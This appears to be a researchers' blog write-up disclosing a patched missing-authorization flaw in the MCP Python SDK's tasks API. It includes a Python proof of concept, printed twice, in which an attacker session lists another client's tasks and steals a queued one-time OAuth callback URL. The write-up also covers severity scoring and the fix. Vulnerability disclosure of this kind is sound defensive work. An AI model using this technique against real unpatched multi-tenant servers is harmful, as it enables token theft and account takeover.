June 27, 2026
Stealing the Keys to the Agentic Cloud: Critical Authorization Flaw in Anthropic’s MCP SDK…
A single unprivileged request on a shared MCP server allowed attackers to intercept live OAuth callback tokens meant for other clients…
By Shruti Lohani
6 min read
A single unprivileged request on a shared MCP server allowed attackers to intercept live OAuth callback tokens meant for other clients. Here is a look at how we found the flaw, and why the emerging agentic AI stack is inheriting decades-old application security vulnerabilities.
By Shruti Lohani and Dewank Pant
Artificial intelligence agents are rapidly evolving from simple chat interfaces into autonomous systems that take real-world actions. To execute these complex tasks, agents rely heavily on the Model Context Protocol (MCP), an open standard released by Anthropic in November 2024 to serve as the universal connector between language models and external data sources. Fast forward to today, and MCP has crossed 97 million monthly downloads across its SDKs, powering over 10,000 active public servers. It has effectively become the universal plug-and-play standard for agentic AI, frequently described as the "USB-C port for AI applications".
However, foundational infrastructure carries immense security responsibility. Developers naturally view official reference implementations like the MCP Python SDK as architectural blueprints. If that blueprint lacks a core security boundary, every downstream enterprise server built on top of it silently inherits the exact same vulnerability.
In this write-up, we walk through our discovery of CVE-2026–52870 (advisory GHSA-hvrp-rf83-w775), a critical missing authorization flaw (CWE-862) in Anthropic's official Python reference SDK for MCP. We demonstrate how a single unprivileged JSON-RPC request on a multi-tenant MCP server allowed attackers to enumerate all running agent tasks, read proprietary conversation context, and hijack live one-time OAuth callback tokens meant for other clients. Patched in version 1.27.2, this vulnerability serves as a stark reminder that the emerging agentic AI stack is fully susceptible to the most classic, fundamental bugs in application security.
The Anatomy of an MCP Task
To understand how the vulnerability manifests, we have to examine how multi-client MCP deployments handle long-running operations. In production environments like SaaS gateways, internal enterprise servers, or partner integrations, multiple isolated client sessions communicate with the exact same underlying server process simultaneously.
When a tool requires extensive processing time or needs user interaction, the server spins up an asynchronous task. Developers enable this functionality with a single setup call:
ts = srv.experimental.enable_tasks()ts = srv.experimental.enable_tasks()This helper function registers default JSON-RPC request handlers for listing, fetching, retrieving results from, and canceling tasks (tasks/list, tasks/get, tasks/result, and tasks/cancel). While these background tasks execute, they queue two vital categories of asynchronous messages
- Elicitation messages: Requests where the server instructs the client to collect sensitive user input. This explicitly includes one-time OAuth callback URLs, payment authorization prompts, or credential collection challenges.
- Sampling messages: Requests prompting the client's LLM for a completion. These payloads contain whatever conversation context the tool forwarded, frequently exposing proprietary source code, internal documentation, or Personally Identifiable Information (PII).
These messages sit in a global server queue, waiting for the connected client to fetch them.
The Core Vulnerability: Missing Authorization (CWE-862)
The fatal flaw within the SDK lies in a classic application security failure: verifying caller authentication while completely ignoring object-level authorization.
While auditing the underlying logic in src/mcp/server/lowlevel/experimental.py and the message delivery loop inside src/mcp/server/experimental/task_result_handler.py, we discovered that all default handlers operated entirely on the raw task ID. The global task store maintained no record of which client session created a given task, and none of the handlers consulted the caller's authentication context prior to executing read or write operations.
This architectural gap handed any authenticated client on a shared server four dangerous primitives:
- Silent Enumeration: Calling
tasks/listreturns the entire global store of active tasks. An attacker does not need to guess or brute-force identifiers; the server willingly lists every target task ID on the system. - Arbitrary Reads: Invoking
tasks/getexposes the metadata and execution status of any unowned task by ID. - State Hijacking: When a client calls
tasks/result, the function_deliver_queued_messagesdequeues pending messages and writes them directly to the caller's Server-Sent Events stream. Because delivery permanently removes the message from the queue, the first caller wins. If an attacker pollstasks/resultagainst a victim's task ID, they completely steal the queued payload, permanently starving the legitimate agent of its input. - Workflow Denial of Service: Calling
tasks/cancelallows an attacker to arbitrarily terminate any other client's running tasks.
You can examine the complete attack chain in the flow diagram below:
Proof of Concept Walkthrough
We confirmed and tested this exploit on mcp version 1.27.0, verifying that the authorization gap existed in every release since the experimental tasks API landed in version 1.23.0.To demonstrate the vulnerability without the overhead of complex JSON-RPC transport layers, we built a focused PoC that invokes the exact store and handler logic utilized in production:
import asyncio
from mcp.server.lowlevel import Server
from mcp.shared.experimental.tasks.message_queue import QueuedMessage
from mcp.shared.experimental.tasks.resolver import Resolver
from mcp.types import TaskMetadata, JSONRPCRequest
async def main():
# 1. Initialize server and enable experimental tasks without tenant checks
srv = Server(name="poc")
ts = srv.experimental.enable_tasks()
# 2. Victim's tool spins up a task and queues a sensitive OAuth callback URL
await ts.store.create_task(TaskMetadata(ttl=600_000), task_id="victim_task")
secret_url = "[https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789](https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789)"
req = JSONRPCRequest(
jsonrpc="2.0", id="task-victim_task-1",
method="elicitation/create",
params={"message": "Authenticate", "url": secret_url, "elicitationId": "e1"},
)
resolver = Resolver()
await ts.queue.enqueue("victim_task", QueuedMessage(
type="request", message=req, resolver=resolver, original_request_id=req.id))
ts.handler._pending_requests[req.id] = resolver
# 3. Attacker calls tasks/list and successfully discovers the target task ID
tasks, _ = await ts.store.list_tasks()
print("Attacker spots active task:", tasks[0].taskId)
# 4. Attacker invokes tasks/result against the victim's task ID
captured = []
class AttackerSession:
async def send_message(self, m):
captured.append(m.message)
await ts.handler._deliver_queued_messages(
task_id="victim_task",
session=AttackerSession(),
request_id="attacker-req-1",
)
print("Attacker successfully hijacked URL:", captured[0].root.params["url"])
asyncio.run(main())import asyncio
from mcp.server.lowlevel import Server
from mcp.shared.experimental.tasks.message_queue import QueuedMessage
from mcp.shared.experimental.tasks.resolver import Resolver
from mcp.types import TaskMetadata, JSONRPCRequest
async def main():
# 1. Initialize server and enable experimental tasks without tenant checks
srv = Server(name="poc")
ts = srv.experimental.enable_tasks()
# 2. Victim's tool spins up a task and queues a sensitive OAuth callback URL
await ts.store.create_task(TaskMetadata(ttl=600_000), task_id="victim_task")
secret_url = "[https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789](https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789)"
req = JSONRPCRequest(
jsonrpc="2.0", id="task-victim_task-1",
method="elicitation/create",
params={"message": "Authenticate", "url": secret_url, "elicitationId": "e1"},
)
resolver = Resolver()
await ts.queue.enqueue("victim_task", QueuedMessage(
type="request", message=req, resolver=resolver, original_request_id=req.id))
ts.handler._pending_requests[req.id] = resolver
# 3. Attacker calls tasks/list and successfully discovers the target task ID
tasks, _ = await ts.store.list_tasks()
print("Attacker spots active task:", tasks[0].taskId)
# 4. Attacker invokes tasks/result against the victim's task ID
captured = []
class AttackerSession:
async def send_message(self, m):
captured.append(m.message)
await ts.handler._deliver_queued_messages(
task_id="victim_task",
session=AttackerSession(),
request_id="attacker-req-1",
)
print("Attacker successfully hijacked URL:", captured[0].root.params["url"])
asyncio.run(main())Running the code yields the following output:
Attacker spots active task: victim_task
Attacker successfully hijacked URL: [https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789](https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789)Attacker spots active task: victim_task
Attacker successfully hijacked URL: [https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789](https://aws.example.com/oauth/cb?token=ONE_TIME_TOKEN_xyz789)The PoC proves that an attacker session can effortlessly intercept one-time URLs specifically queued for a victim session.
The Real-World Blast Radius
To understand why this vulnerability poses an immediate threat to corporate infrastructure, consider how shared enterprise MCP gateways operate. Organizations frequently deploy central gateways so internal employee AI agents can securely interface with production platforms like GitHub, Salesforce, and AWS.
Imagine an employee instructs their AI assistant to deploy a serverless resource in AWS. The agent initiates an OAuth flow, creating an elicitation task that queues a one-time login link containing a secure grant token. Simultaneously, a rogue insider or compromised low-privilege contractor account connected to the same gateway calls tasks/list, spots the active task, and calls tasks/result.
Because the delivery loop permanently dequeues the message, the legitimate employee's agent never receives the login prompt. The employee simply perceives their AI assistant as lagging or unresponsive, completely unaware of the compromise. Meanwhile, the attacker clicks the hijacked link and inherits the victim's authenticated AWS session.
In this environment, an attacker does not just steal static data; they intercept live operational capabilities, turning multi-tenant gateways into automated account takeover concentrators.
The Severity Debate: CVSS 7.6 vs. 9.9
When we originally submitted our advisory (GHSA-2568-fj39-c3r9), we scored the vulnerability as a Critical (9.9) using the metric vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L. The consolidated public advisory (GHSA-hvrp-rf83-w775) ultimately published it as a High (7.6) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L.
The technical divergence centers on two distinct security philosophies:
- Integrity (Low vs. High): The official calculation evaluated integrity impact as Low. We argued for High because the hijack mechanism actively destroys the queued message upon delivery. Completely depriving an active AI agent of its tool inputs and verification challenges represents a fundamental breakdown of system integrity.
- Scope (Unchanged vs. Changed): The official vector views the vulnerable MCP server as the sole localized boundary, marking scope as Unchanged. However, the primary assets compromised by this flaw are downstream third-party platforms like Stripe, GitHub, or AWS. When a vulnerability in software component A hands an attacker complete administrative authority over external component B, the scope has undeniably shifted.
Regardless of whether your organization aligns with the conservative rating or the critical one, security teams must view 7.6 as a strict floor rather than a ceiling when evaluating their internal threat models.
Remediation and Timeline
We reported our findings on May 5, 2026. The Anthropic engineering team acted rapidly, validating the core issue, consolidating our report with an independent concurrent submission, and crediting us as vulnerability reporters on CVE-2026–52870. The complete patch officially shipped on June 5, 2026, in mcp release 1.27.2.
The remediation cleanly resolves the missing authorization gap: task identifiers generated by run_task() now cryptographically bind to session markers, tasks/list strictly returns tasks belonging to the calling client, and requesting an unowned task throws an absolute "task not found" error.
The Ultimate Fate of the Tasks API
While the Anthropic engineering team successfully patched the immediate authorization bypass in release 1.27.2, our finding sparked a much deeper internal evaluation regarding the architecture of shared agentic state.
Shortly after patching our CVE, the maintainers made a decisive architectural pivot: they decided to remove the Experimental Tasks API entirely from the core codebase for the upcoming v2.0.0 release. Recognizing that safely isolating multi-tenant background tasks within a shared global gateway is an exceptionally fragile paradigm, they concluded that long-running agent execution should eventually live as an entirely independent extension rather than living directly inside the built-in protocol.
For security researchers, this is the most rewarding outcome possible. We did not just point out a broken lock; we successfully demonstrated that the entire structural framework needed to be redesigned.
Conclusion
As the tech industry pours billions into securing large language models against prompt injection and adversarial jailbreaks, we cannot neglect the foundational software engineering layer. Agentic workflows introduce an unprecedented security challenge: when object-level authorization fails in an AI gateway, attackers do not just harvest static databases; they hijack live, highly privileged external actions.
Securing the universal protocols of artificial intelligence is an urgent priority. We must ensure our underlying plumbing remains rigorously authenticated, isolated, and secure by default before autonomous agents become the critical infrastructure of the global economy.
Details at a Glance
- CVE: CVE-2026–52870
- Advisory: GHSA-hvrp-rf83-w775
- Component: Anthropic Model Context Protocol Python SDK (
mcp, PyPI) - Weakness: CWE-862, Missing Authorization
- Severity: 7.6 (High),
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L - Affected Versions:
mcpversions 1.23.0 through 1.27.1 - Patched Version:
mcpversion 1.27.2
This write-up describes a vulnerability that is patched at the time of publication. The PoC is provided for defensive verification in affected, unpatched test environments only.